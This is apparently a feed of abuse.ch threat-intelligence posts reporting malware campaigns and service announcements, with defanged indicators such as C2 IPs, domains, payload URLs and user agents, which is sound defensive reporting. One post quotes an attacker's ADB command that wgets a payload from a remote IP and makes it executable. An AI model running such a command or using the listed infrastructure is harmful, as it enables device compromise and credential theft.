abuse-ch.bsky.social

From TODAY, non-authenticated users can no longer export files from our platforms. If you haven’t already #Authenticate 👉️ auth.abuse.ch

Nyxar Stealer with potential Turkish roots 🇹🇷, sold as malware-as-a-service with of 60 modules, including: 🪝 Browser credential and cookies stealer 💬 Messaging app credential stealer (Discord, Telegram, etc) 👛 Crypto wallet stealer 🎮 Gaming app credential stealer (Steam, Epic, etc)

Fake DocuSign emails luring recipients into downloading a fake Adobe Acrobat Reader update, leading to ConnectWise #ScreenConnct RMM 🖥️🖱️ email ➡️ Link ➡️ PDF ➡️ MSI Payload delivery URLs: 📕 data.vaceditions .com/wp-content/new-statement.pdf ⚙️ acrob .my-adobe-plugins-update .top

🚨 Heads up: file exports are changing from October 21st Exports will require authentication. Already authenticated? You can keep exporting, there's just a small change to the export URLs👇

📄 Example URL: https://mb-api[.]abuse[.]ch/v2/files/exports/{YOUR_AUTH_KEY_HERE}/filename.ext

🚨 Heads up: file exports are changing from October 21st Exports will require authentication. Already authenticated? You can keep exporting, there's just a small change to the export URLs👇

We recently sinkholed a DDoS #botnet of 200,000 compromised Android TV boxes infected with #CECbot malware 🕵️‍♀️. Shortly after, the threat actor responded by registering a rather specific botnet C2 domain 📡 spamhaushackers .at

🚨 ANNOUNCEMENT FOR TOP CONTRIBUTORS! 🚨 We’ve been working on something huge and the cat 🐈️ is finally out of the bag 👀 ... we’ve officially partnered with Modat to give FREE Magnify licenses to our top contributors! 🎉🔥

You give your time, brainpower, and expertise to this community 👏. You hunt down the bad guys every single day - we want to make sure you have the best tools 🛠️ available to do what you do for the good of the internet every single day!

#BoratRAT spreading using similar tactics as #ClickFix 👇 1️⃣ Fake Microsoft Security Verification 🔑 leading to malicious PowerShell execution 🖱️ 2️⃣ Command triggers a DNS TXT request to recapture-robot .today 🌐 to obtain a PowerShell script 📜 3️⃣ Script drops payload, infecting host with BoratRAT 💻

Overlord RAT 🔌 dropped by Amadey loader 🔥 Botnet C2 server: mypamella .xyz ➡️ NameSilo 🇺🇸 136.175.82.88:443 ➡️ 2ETELECOM🇧🇬 Payload is bulletproof hosted 🛡️at Omegatech LTD 🇳🇱 🌐 urlhaus.abuse.ch/url/3906755/ 📄 Malware sample: bazaar.abuse.ch/sample/ac1f8...

NeedleStealer 🪡🪝 written in Go ⤵️ 🔎 HTTP user agents observed: User-Agent: Loader-cli/v1 user-agent: Go-http-client/2.0 📡 Botnet C2s, all behind Cloudflare CDN: woolvilli .com/api/v2 allremdeskriki .com/api/v2 dubl1allremriki .com/api/v2 dubl2allremriki .com/api/v2

💡 Related C2 infrastructure at Vultr 🇳🇱: 136.244.0.100 .54:8899/api/v1/agent/register 136.244.0.100 .54:8899/api/v1/agent/ws ⚱️ Artifacts: \Sessions\1\BaseNamedObjects\Local\NeedleRemoteAgentSingle C:\Users\user\AppData\Local\Temp\needle-2fa 📄 Malware samples: bazaar.abuse.ch/browse/signa...

We identified a new malware called #HypeAgent which acts as information stealer & loader. It is dominantly spread through malspam 📧, first observed on August 1, 2026 🔭👀 Key Capabilities ⤵️ 🕵️ Stealer & Loader: Supports 200+ commands; drops/executes payloads, including crypto miners 💸

HypeAgent communicates via WebSocket using JSON. Here are some Botnet C2 servers we have been observed ⤵️ 📡 31.40.204.178:7080 WhiteLabel 🇹🇷 📡 94.26.3.211:7443 Stellar Group SAS 🇫🇷 📡 192.109.139.91:7443 Stellar Group SAS 🇺🇸 📡 195.177.94.60:7443 Stellar Group SAS 🇫🇷 📡 107.175.148.122:7443 HostPapa 🇺🇸

We identified a new malware called #HypeAgent which acts as information stealer & loader. It is dominantly spread through malspam 📧, first observed on August 1, 2026 🔭👀 Key Capabilities ⤵️ 🕵️ Stealer & Loader: Supports 200+ commands; drops/executes payloads, including crypto miners 💸

🔎 Targeted Harvesting: Steals web browser & email credentials, crypto wallets, and gaming accounts (Steam, Roblox) 🎮 🤖 AI & Platform Cookie Stealing: Targets a list of hardcoded domains like Grok, Anthropic, Coinbase, ByBit, Instagram, and Rockstar Games for which it steals session

StealC C2s dropping OverlordRAT, using CloudFlare and Microsoft look-a-like domains 👁️ 🌐 cloud-flare-authenticator .link 🌐 cloud-flare-authenticator .click 🌐 update-microsoft-data .services 📡 89.34.90.45:443 OverlordRAT #botnet C2 server ⤵️ 🌐 download-windows-update .live 📡 151.243.113.94:5173

Over the past days, active #malspam campaigns targeting LatAm users 🇦🇷🇧🇷🇲🇽 have been delivering the Grandoreiro banking trojan 🏦💰 📧 Email ➔ 📜 JS file ➔ 📑 Fake PDF download Final payload is hosted on MediaFire 🔥 free file hosting

C2 network traffic is rather trivial to detect as #Grandoreiro is using Embarcadero Delphi compilation tools' HTTP user agent 🖥️⤵️ User-Agent: Embarcadero URI Client/1.0 🔎 Botnet C2 domain resolved via Google DNS-over-HTTPS (DoH): devilmaycry.servehumour .com 👀

Rogue #ScreenConnect RMM cluster using a fake @coldcardwallet.bsky.social domain to lure crypto wallet owners 💰 into downloading a fake DocuSign MSI which drops ScreenConnect 🖱️🖥️ ⛓️ Attack Chain: Threat actor domain ➡️ GitHub repo ➡️ ScreenConnect

🔍 Fake #COLDCARD domain with opendir: hardware-data .com ➡️Tucows Domains 🇺🇸 ⚙️ Rogue GitHub user with 19 code repositories: github.com/kaswareteam/ 🔌 ScreenConnect RMM botnet C2s (Port 8041 TCP): 🇺🇸 DeltaHost : hitpanels .com ➡️ 185.174.101.132 hitspanels .com➡️185.174.101.132

📢 SERVICE UPDATE | As you may have noticed, we've experienced some downtime recently which was largely caused by a small number of users exceeding our Fair Use Policy. To protect platform stability and ensure fair access for everyone as our user base grows, we are introducing API rate limits. 1/2

It's here!! The @abuse_ch #CommunityHub is LIVE 🔥🔥🔥 Every day, this community shares data that helps take down malicious infrastructure and now you can see the scale of it, all in one place. The Hub gives you a live view of:

➡️ Total community contributions ➡️ Top 10 Leaderboards ➡️ Monthly contribution trends across the community ....and a place to track your own impact! Our community is bigger than any one platform. It's a global network of researchers working together to disrupt malware, botnets, and cybercrime.

JackSkid malware spreading from 46.151.178.13 (SINOWORLDWIDE 🇳🇱) on exposed devices running Android Debug Bridge (ADB) ⤵️ ADB command: ⚙️ shell:busybox wget 94.154.0.43 .48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal; chmod 777 [...]

Delivering #JackSkid using DNS TXT record of ricocaseagainst.rebirth .st as botnet C2: 📡 178.16.52.104 (OMEGATECH 🇩🇪) Payload delivery URLs (STORMCLOUD 🇹🇷): 🌐 urlhaus.abuse.ch/host/94.154.... Malware sample 📄: bazaar.abuse.ch/sample/84984...

Interesting unlabeled malware sample shared by our friend smica83, apparently targeting UA users 🇺🇦🕵️ The malware sample: 1️⃣ Obtains the DNS A record of ns2.theendlessweb .com 2️⃣ Queries directly the DNS A record (207.90.251 .10) for the DNS TXT record of sni13.docsmanagement.endl .site

global-research .space has been registered almost a year ago, which suggests that this campaign is already running since quite a while 📅 It also returns a fake HTTP 404, which indicates that the payload delivery is restricted to a handful targets 🎯

Interesting unlabeled malware sample shared by our friend smica83, apparently targeting UA users 🇺🇦🕵️ The malware sample: 1️⃣ Obtains the DNS A record of ns2.theendlessweb .com 2️⃣ Queries directly the DNS A record (207.90.251 .10) for the DNS TXT record of sni13.docsmanagement.endl .site